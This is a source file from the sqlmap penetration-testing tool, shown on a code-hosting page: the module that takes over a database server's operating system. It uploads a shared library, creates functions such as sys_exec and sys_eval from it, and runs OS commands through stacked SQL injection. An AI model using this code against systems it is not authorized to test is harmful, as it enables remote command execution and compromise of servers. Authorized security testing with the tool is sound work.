Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/udf.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
10
from lib.core.agent import agent
11
from lib.core.common import Backend
12
from lib.core.common import checkFile
13
from lib.core.common import dataToStdout
14
from lib.core.common import isDigit
15
from lib.core.common import isStackingAvailable
16
from lib.core.common import readInput
17
from lib.core.common import unArrayizeValue
18
from lib.core.compat import xrange
19
from lib.core.data import conf
20
from lib.core.data import logger
21
from lib.core.data import queries
22
from lib.core.enums import CHARSET_TYPE
23
from lib.core.enums import DBMS
24
from lib.core.enums import EXPECTED
25
from lib.core.enums import OS
26
from lib.core.exception import SqlmapFilePathException
27
from lib.core.exception import SqlmapMissingMandatoryOptionException
28
from lib.core.exception import SqlmapUnsupportedFeatureException
29
from lib.core.exception import SqlmapUserQuitException
30
from lib.core.unescaper import unescaper
31
from lib.request import inject
32
33
class UDF(object):
34
"""
35
This class defines methods to deal with User-Defined Functions for
36
plugins.
37
"""
38
39
def __init__(self):
40
self.createdUdf = set()
41
self.udfs = {}
42
self.udfToCreate = set()
43
44
def _askOverwriteUdf(self, udf):
45
message = "UDF '%s' already exists, do you " % udf
46
message += "want to overwrite it? [y/N] "
47
48
return readInput(message, default='N', boolean=True)
49
50
def _checkExistUdf(self, udf):
51
logger.info("checking if UDF '%s' already exist" % udf)
52
53
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
54
return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)
55
56
def udfCheckAndOverwrite(self, udf):
57
exists = self._checkExistUdf(udf)
58
overwrite = True
59
60
if exists:
61
overwrite = self._askOverwriteUdf(udf)
62
63
if overwrite:
64
self.udfToCreate.add(udf)
65
66
def udfCreateSupportTbl(self, dataType):
67
debugMsg = "creating a support table for user-defined functions"
68
logger.debug(debugMsg)
69
70
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
71
72
def udfForgeCmd(self, cmd):
73
if not cmd.startswith("'"):
74
cmd = "'%s" % cmd
75
76
if not cmd.endswith("'"):
77
cmd = "%s'" % cmd
78
79
return cmd
80
81
def udfExecCmd(self, cmd, silent=False, udfName=None):
82
if udfName is None:
83
udfName = "sys_exec"
84
85
cmd = unescaper.escape(self.udfForgeCmd(cmd))
86
87
return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
88
89
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
90
if udfName is None:
91
udfName = "sys_eval"
92
93
if conf.direct:
94
output = self.udfExecCmd(cmd, udfName=udfName)
95
96
if output and isinstance(output, (list, tuple)):
97
new_output = ""
98
99
for line in output:
100
new_output += line.replace("\r", "\n")
101
102
output = new_output
103
else:
104
cmd = unescaper.escape(self.udfForgeCmd(cmd))
105
106
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
107
output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False))
108
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
109
110
return output
111
112
def udfCheckNeeded(self):
113
if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
114
self.sysUdfs.pop("sys_fileread")
115
116
if not conf.osPwn:
117
self.sysUdfs.pop("sys_bineval")
118
119
if not conf.osCmd and not conf.osShell and not conf.regRead:
120
self.sysUdfs.pop("sys_eval")
121
122
if not conf.osPwn and not conf.regAdd and not conf.regDel:
123
self.sysUdfs.pop("sys_exec")
124
125
def udfSetRemotePath(self):
126
errMsg = "udfSetRemotePath() method must be defined within the plugin"
127
raise SqlmapUnsupportedFeatureException(errMsg)
128
129
def udfSetLocalPaths(self):
130
errMsg = "udfSetLocalPaths() method must be defined within the plugin"
131
raise SqlmapUnsupportedFeatureException(errMsg)
132
133
def udfCreateFromSharedLib(self, udf, inpRet):
134
errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
135
raise SqlmapUnsupportedFeatureException(errMsg)
136
137
def udfInjectCore(self, udfDict):
138
written = False
139
140
for udf in udfDict.keys():
141
if udf in self.createdUdf:
142
continue
143
144
self.udfCheckAndOverwrite(udf)
145
146
if len(self.udfToCreate) > 0:
147
self.udfSetRemotePath()
148
checkFile(self.udfLocalFile)
149
written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True)
150
151
if written is not True:
152
errMsg = "there has been a problem uploading the shared library, "
153
errMsg += "it looks like the binary file has not been written "
154
errMsg += "on the database underlying file system"
155
logger.error(errMsg)
156
157
message = "do you want to proceed anyway? Beware that the "
158
message += "operating system takeover will fail [y/N] "
159
160
if readInput(message, default='N', boolean=True):
161
written = True
162
else:
163
return False
164
else:
165
return True
166
167
for udf, inpRet in udfDict.items():
168
if udf in self.udfToCreate and udf not in self.createdUdf:
169
self.udfCreateFromSharedLib(udf, inpRet)
170
171
if Backend.isDbms(DBMS.MYSQL):
172
supportTblType = "longtext"
173
elif Backend.isDbms(DBMS.PGSQL):
174
supportTblType = "text"
175
176
self.udfCreateSupportTbl(supportTblType)
177
178
return written
179
180
def udfInjectSys(self):
181
self.udfSetLocalPaths()
182
self.udfCheckNeeded()
183
return self.udfInjectCore(self.sysUdfs)
184
185
def udfInjectCustom(self):
186
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
187
errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
188
logger.error(errMsg)
189
return
190
191
if not isStackingAvailable() and not conf.direct:
192
errMsg = "UDF injection feature requires stacked queries SQL injection"
193
logger.error(errMsg)
194
return
195
196
self.checkDbmsOs()
197
198
if not self.isDba():
199
warnMsg = "functionality requested probably does not work because "
200
warnMsg += "the current session user is not a database administrator"
201
logger.warning(warnMsg)
202
203
if not conf.shLib:
204
msg = "what is the local path of the shared library? "
205
206
while True:
207
self.udfLocalFile = readInput(msg, default=None, checkBatch=False)
208
209
if self.udfLocalFile:
210
break
211
else:
212
logger.warning("you need to specify the local path of the shared library")
213
else:
214
self.udfLocalFile = conf.shLib
215
216
if not os.path.exists(self.udfLocalFile):
217
errMsg = "the specified shared library file does not exist"
218
raise SqlmapFilePathException(errMsg)
219
220
if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
221
errMsg = "shared library file must end with '.dll' or '.so'"
222
raise SqlmapMissingMandatoryOptionException(errMsg)
223
224
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
225
errMsg = "you provided a shared object as shared library, but "
226
errMsg += "the database underlying operating system is Windows"
227
raise SqlmapMissingMandatoryOptionException(errMsg)
228
229
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
230
errMsg = "you provided a dynamic-link library as shared library, "
231
errMsg += "but the database underlying operating system is Linux"
232
raise SqlmapMissingMandatoryOptionException(errMsg)
233
234
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
235
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
236
237
msg = "how many user-defined functions do you want to create "
238
msg += "from the shared library? "
239
240
while True:
241
udfCount = readInput(msg, default='1')
242
243
if udfCount.isdigit():
244
udfCount = int(udfCount)
245
246
if udfCount <= 0:
247
logger.info("nothing to inject then")
248
return
249
else:
250
break
251
else:
252
logger.warning("invalid value, only digits are allowed")
253
254
for x in xrange(0, udfCount):
255
while True:
256
msg = "what is the name of the UDF number %d? " % (x + 1)
257
udfName = readInput(msg, default=None, checkBatch=False)
258
259
if udfName:
260
self.udfs[udfName] = {}
261
break
262
else:
263
logger.warning("you need to specify the name of the UDF")
264
265
if Backend.isDbms(DBMS.MYSQL):
266
defaultType = "string"
267
elif Backend.isDbms(DBMS.PGSQL):
268
defaultType = "text"
269
270
self.udfs[udfName]["input"] = []
271
272
msg = "how many input parameters takes UDF "
273
msg += "'%s'? (default: 1) " % udfName
274
275
while True:
276
parCount = readInput(msg, default='1')
277
278
if parCount.isdigit() and int(parCount) >= 0:
279
parCount = int(parCount)
280
break
281
282
else:
283
logger.warning("invalid value, only digits >= 0 are allowed")
284
285
for y in xrange(0, parCount):
286
msg = "what is the data-type of input parameter "
287
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
288
289
while True:
290
parType = readInput(msg, default=defaultType).strip()
291
292
if parType.isdigit():
293
logger.warning("you need to specify the data-type of the parameter")
294
295
else:
296
self.udfs[udfName]["input"].append(parType)
297
break
298
299
msg = "what is the data-type of the return "
300
msg += "value? (default: %s) " % defaultType
301
302
while True:
303
retType = readInput(msg, default=defaultType)
304
305
if hasattr(retType, "isdigit") and retType.isdigit():
306
logger.warning("you need to specify the data-type of the return value")
307
else:
308
self.udfs[udfName]["return"] = retType
309
break
310
311
success = self.udfInjectCore(self.udfs)
312
313
if success is False:
314
self.cleanup(udfDict=self.udfs)
315
return False
316
317
msg = "do you want to call your injected user-defined "
318
msg += "functions now? [Y/n/q] "
319
choice = readInput(msg, default='Y').upper()
320
321
if choice == 'N':
322
self.cleanup(udfDict=self.udfs)
323
return
324
elif choice == 'Q':
325
self.cleanup(udfDict=self.udfs)
326
raise SqlmapUserQuitException
327
328
while True:
329
udfList = []
330
msg = "which UDF do you want to call?"
331
332
for udf in self.udfs.keys():
333
udfList.append(udf)
334
msg += "\n[%d] %s" % (len(udfList), udf)
335
336
msg += "\n[q] Quit"
337
338
while True:
339
choice = readInput(msg, default=None, checkBatch=False).upper()
340
341
if choice == 'Q':
342
break
343
elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
344
choice = int(choice)
345
break
346
else:
347
warnMsg = "invalid value, only digits >= 1 and "
348
warnMsg += "<= %d are allowed" % len(udfList)
349
logger.warning(warnMsg)
350
351
if not isinstance(choice, int):
352
break
353
354
cmd = ""
355
count = 1
356
udfToCall = udfList[choice - 1]
357
358
for inp in self.udfs[udfToCall]["input"]:
359
msg = "what is the value of the parameter number "
360
msg += "%d (data-type: %s)? " % (count, inp)
361
362
while True:
363
parValue = readInput(msg, default=None, checkBatch=False)
364
365
if parValue:
366
if "int" not in inp and "bool" not in inp:
367
parValue = "'%s'" % parValue
368
369
cmd += "%s," % parValue
370
371
break
372
else:
373
logger.warning("you need to specify the value of the parameter")
374
375
count += 1
376
377
cmd = cmd[:-1]
378
msg = "do you want to retrieve the return value of the "
379
msg += "UDF? [Y/n] "
380
381
if readInput(msg, default='Y', boolean=True):
382
output = self.udfEvalCmd(cmd, udfName=udfToCall)
383
384
if output:
385
conf.dumper.string("return value", output)
386
else:
387
dataToStdout("No return value\n")
388
else:
389
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
390
391
msg = "do you want to call this or another injected UDF? [Y/n] "
392
393
if not readInput(msg, default='Y', boolean=True):
394
break
395
396
self.cleanup(udfDict=self.udfs)
397
398